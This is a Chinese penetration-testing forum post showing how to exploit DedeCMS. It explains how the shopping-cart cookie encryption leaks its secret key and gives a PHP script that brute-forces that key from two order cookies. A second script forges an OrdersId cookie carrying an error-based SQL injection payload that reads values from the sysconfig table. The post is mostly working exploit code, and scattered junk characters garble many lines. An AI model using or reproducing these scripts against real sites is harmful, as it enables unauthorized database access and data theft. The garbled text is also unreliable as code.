中国网络渗透测试联盟

标题: 织梦CMS漏洞dedecms漏洞SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-13 23:58
标题: 织梦CMS漏洞dedecms漏洞SQL注入漏洞
www.xxx.com/plus/search.php?keyword=
/ N/ x" K' K; X在 include/shopcar.class.php中
) Q- D# [0 E/ Q; E, Z7 ^% P先看一下这个shopcar类是如何生成cookie的
* B; J7 _7 L8 x5 ]239      function saveCookie($key,$value)5 ?& R8 j+ n/ v5 R
240      {. k' C: ~" J  e: e  i& v, t# E  t
241          if(is_array($value))
# E, a( p, w; m242          {
% d5 j, V+ R! p! d, g; S& V243              $value = $this->enCrypt($this->enCode($value));+ W- k  j# `$ u% h5 G
244          }$ M( j5 }$ S) E6 ~
245          else
! x9 P) g# A" a6 j- {246          {
. g0 [7 M* v( t% w) n247              $value = $this->enCrypt($value);
1 n/ ], x$ y( f/ I5 L0 i+ \5 _248          }% r: t; l: a3 o9 }- A
249          setcookie($key,$value,time()+36000,’/');* N, e! R; v8 J+ O& t* s
250      }& c: q, z: z) v8 C4 x" W! K
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数, D( e3 {; w, i, e( t
186      function enCrypt($txt)
& D9 q( \0 V6 k6 k: b! K187      {6 B6 L$ o# J# Y: s
188          srand((double)microtime() * 1000000);! {7 A8 q# r$ ]; D  V1 c
189          $encrypt_key = md5(rand(0, 32000));
2 B3 @1 l1 W- L: ]* g190          $ctr = 0;
% N& ?: Q# e0 |& K5 z, d# _# O( X! \191          $tmp = ”;* G1 o0 N9 y! ~8 B
192          for($i = 0; $i < strlen($txt); $i++)
6 Z( L- @3 W; o7 j% N  O, B5 @# z' L193          {3 z/ _- x- \2 y2 ~7 U2 E
194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
. I# m6 b( k, Q4 ]7 l195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);8 d7 l+ L6 f$ O. c# n! i
196          }3 a3 H3 Y7 r4 ~" [6 f! m/ ^  R
197          return base64_encode($this->setKey($tmp));
5 L3 N$ Z3 X# B% I3 x198      }$ o$ b" ?- f1 n: v0 ~3 I- J$ ]
213      function setKey($txt)7 G5 j0 A6 |* {9 Y* s
214      {
) F- O% M3 O( b1 W215          global $cfg_cookie_encode;) W3 x$ B4 L- X9 C! d- D6 D
216          $encrypt_key = md5(strtolower($cfg_cookie_encode));' n% w, k3 ^8 k' d" u
217          $ctr = 0;
! l! q9 Z  Q- F3 L  K& {218          $tmp = ”;3 y6 N- U* i% e7 [3 X% J
219          for($i = 0; $i < strlen($txt); $i++)  {$ r8 i" A/ z5 |7 O( i3 |: g
220          {' C3 U0 W5 ]7 ]5 g2 d
221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;& F% z1 }/ a5 ?2 m' R. ]( H
222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
; g" F, _; t& |" a& t223          }( I2 F8 `1 {. F. |
224          return $tmp;
0 s) R. q( e+ a4 h3 E: W  i225      }3 c. C6 R0 ]8 m/ |
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的5 w$ T6 t9 i2 m$ L% a' B
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
  L' N6 r& A& n& {. Q0 T& s具体代码如下:
9 X4 ?- E, A- j<?php% F& p! G) x9 s. }5 m# s* e
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here3 J  B( }3 ~( f
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here8 j; M5 g( K+ S
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here/ h" `3 H! c. c. v
function reStrCode($code,$string)+ o7 h( m0 `5 A# A! H) V
{
9 {' V, o5 z# C3 S! @' A$code = base64_decode($code);, b  ]6 R, _) A. t. y# N
$key = “”;3 X% L6 F% }1 W. a3 J) Q
for($i=0 ; $i<32 ; $i++)8 ?9 D/ ^8 H% L, f
{
9 J& g" d# v9 H& ]+ W3 W$key .= $string[$i] ^ $code[$i];
% D9 L1 S# i$ D' `! Q9 P7 u}# q* w0 W) k; n! U1 G# @; R
return $key;
; F% [4 W; x, l* d# L0 q, i. P}
: m6 H7 r, P9 i2 L0 R; _function getKeys($cookie,$plantxt)
  B* L* K, Z8 D/ `* p: ?) R{
+ v/ q: x9 b0 c0 }* E  w8 n! p% G$tmp = $cookie;. U6 Y3 m  i0 q: L6 d
$results = array();
$ M" |/ z" [- R8 ]' j* n4 Ufor($j=0 ; $j < 32000; $j++)0 |& d& j# `2 K/ V
{( B4 Q0 W" s. C4 Q7 ~) U; j# ]% R5 }

) Y9 O8 e( Z( _9 m9 n$txt = $plantxt;
4 o7 |& S7 s' M" ~" h2 X" N  [$ctr = 0;
3 ?% R# P9 I% E6 V& i; x$ \$tmp = ”;
! W) n1 N% W3 W% {% b$encrypt_key = md5($j);/ P8 j4 D9 a4 L) i+ {* a& U7 t
for($i =0; $i < strlen($txt); $i ++)
! I9 x# `7 [$ f3 l! l: C3 g* [4 I; Z{
7 J" ]8 m1 T' v& ?# q. u3 y$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
. R3 \5 z4 d8 ?: c5 D* V3 F  _5 @' p$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);1 x9 e# F7 ~. t- d
}
' h, s* J- f5 s, I# ]5 F, J& w$string = $tmp;% e. n0 X0 L5 Z8 b& f$ V
$code = $cookie;, N2 y0 ^" d4 O7 N( V
$result = reStrCode($code,$string);! ?$ _5 t' @& L2 R( N
if(eregi(‘^[a-z0-9]+$’,$result))8 \( S" ^5 q* z, Z& @' E
{
- N0 B  x6 h8 h! K# _$ `4 d; X8 l) u" vecho $result.”\n”;
; B2 u( m5 ~3 B! a4 l- H( I2 S  V$results[] = $result;) d5 Q. U* E& e
}
! m& z% E8 [5 o; b" O1 Z}
/ Q* v! N& i- d9 ~return $results;
' L- a5 Q% G7 d% Y7 A}
) i4 D* o* P9 [1 M' V1 M2 z$results1 = getKeys($cookie1,$plantxt);
+ N5 F6 ]4 ?; n2 X9 M. ^$results2 = getKeys($cookie2,$plantxt);8 Y% U% h5 |, O; W: U1 v
print “\n——————–real key————————–\n”;
! C; c3 h, L, [% qforeach($results1 as $test1)
0 t& `1 k8 a  z{
$ p$ w7 @# Q0 \( B/ kforeach($results2 as $test2)3 R; X2 I# T/ o: l+ s
{
; F! q$ D+ x5 e1 Vif($test1 == $test2)9 E0 l$ \% _# _# q, E0 R1 K
{
% J3 O9 |8 {7 R7 mecho $test1.”\n”;
& w3 {& H$ s5 |  @3 Q}  ^& r) j4 y5 i: m. b1 s# u
}
% D& h: {% N" y}$ n% ~! d$ N3 A# _! T# P
?>- ^8 b/ F* l( ~* X8 B8 b& R
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
. \, E5 e3 E; i2 {) [$ b  `+ hplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
* [" e8 d- C  M+ \) ?% B然后推算出md5(strtolower($cfg_cookie_encode))
9 L5 |9 S3 ]0 P. c) L- Y+ [得到这个key之后,我们就可以构造任意购物车的cookie
" N& E- l) H" I. w1 Y* N9 r; u接着看) d' A4 j% a, n7 |( D- K! L
20  class MemberShops
* R# r( G/ K, J4 W% e. d: `9 Q, ^21  {7 y1 d9 B3 B  o5 L
22      var $OrdersId;
0 O) j: J1 v# P, Z8 L( S23      var $productsId;
* d# q# r" B1 J4 Y# E" d24: r! E! Z: n. v
25      function __construct()
6 U3 M; P3 n+ v7 X6 k# L$ V5 Y/ P26      {9 `/ W$ Y$ `! s4 w! W3 z2 a4 M
27          $this->OrdersId = $this->getCookie(“OrdersId”);! l& c5 T$ i  D! b* \8 c
28          if(empty($this->OrdersId))% n+ O4 @5 h! h( T1 z  U
29          {
) ?3 R" p$ _* m$ Q) I8 ^+ l30              $this->OrdersId = $this->MakeOrders();
2 t4 c% f6 u7 j4 L0 Y8 x31          }' q9 W- Y/ W$ F/ R
32      }( ]% X/ S0 f* q2 Y$ C+ w* r2 e
发现OrderId是从cookie里面获取的
7 O9 l6 X, p1 Y0 {2 r) O2 d! R然后4 ]% V- J3 R9 `2 _$ o. E3 ?  y
/plus/carbuyaction.php中的
5 z! i  a! B- `$ [/ @! ?29      $cart    = new MemberShops();; ~9 \* L  z  a8 i: z8 R9 V7 I0 k# @
39      $OrdersId = $cart->OrdersId;        //本次记录的订单号7 O3 c, L5 m6 t" |7 D+ ^6 U
……
' I3 \; E% Z, L3 _1 u3 e0 E173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
2 ^% k, [( ^) `- `接着我们就可以注入了
  J5 ]- ~6 X8 G. u通过利用下面代码生成cookie:5 K, |+ ?& z# |7 T1 R
<?php  Q- d; h# |1 B/ G
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;/ b5 D. a: c  e: m+ D
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here
+ N, l0 H' j  P& {; ~) z6 Gfunction setKey($txt)
, K7 w3 M3 K+ v9 k4 w1 C8 @{  I  a2 Y, P8 F8 [8 @
global $encrypt_key;
3 g9 Z  X( H3 W$ Q+ N8 t0 \$ctr = 0;
8 [2 Q* |1 M4 h: U$tmp = ”;
) |& A9 L1 S, k) Y  l# W& E+ ufor($i = 0; $i < strlen($txt); $i++)
: R, Z' q- P3 q! K! F{# I: r$ ~. V$ x/ C1 i' _- t
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
. A; [& r) W: P+ O" d$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];* \$ D. w& Q3 C  b
}
' r! @5 X2 r$ a) Wreturn $tmp;
: o* E& ?6 G6 d8 P* i2 _" z9 `}  y# C- u( P; M) S' Q  e( D# r
function enCrypt($txt); ~7 P3 R/ C" r% ^4 n; m2 Z
{
! d. A& c9 M8 v/ p) r% ^srand((double)microtime() * 1000000);
6 B! u2 |0 `9 {6 G. [+ f$encrypt_key = md5(rand(0, 32000));
' y8 S3 x/ i( b7 E% G: ^$ctr = 0;' s6 C6 S% I2 s4 ?6 [
$tmp = ”;
7 k, }1 @0 S& `8 g1 Pfor($i = 0; $i < strlen($txt); $i++)
" Q: H. j7 Q- D# B* [{8 _- E2 J$ V( F1 a: t. U9 q( L( B( N
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;' t! v0 J2 t1 Q
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
4 q6 N$ w+ q. ~  \  e0 B9 Y* u" z}
* x# {) V* N. P* g5 L! X, n# ~, m% p$ Greturn base64_encode(setKey($tmp));
  q5 W$ [3 ]& c6 R+ h7 j}  q$ C3 S; \% c$ i! _
for($dest =0;$dest = enCrypt($txt);)8 q; t' C' S% [1 |+ p
{; A% C  M% F& w! _7 Z3 _
if(!strpos($dest,’+'))' N* Z+ Q7 Y7 B) L6 G
{5 ]  `" c3 X& `. i# P. O. s
break;
& C- d8 Y; n4 g/ C/ E/ a}7 Q; B+ y( D9 Q% k+ E
}3 D. y, N0 P5 n# r3 `
echo $dest.”\n”;" w' }. e* \' R3 k
?>2 w6 L8 B+ _( ^. _) n" C: [

, ?7 R1 i4 I3 ^' o  P0 u




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2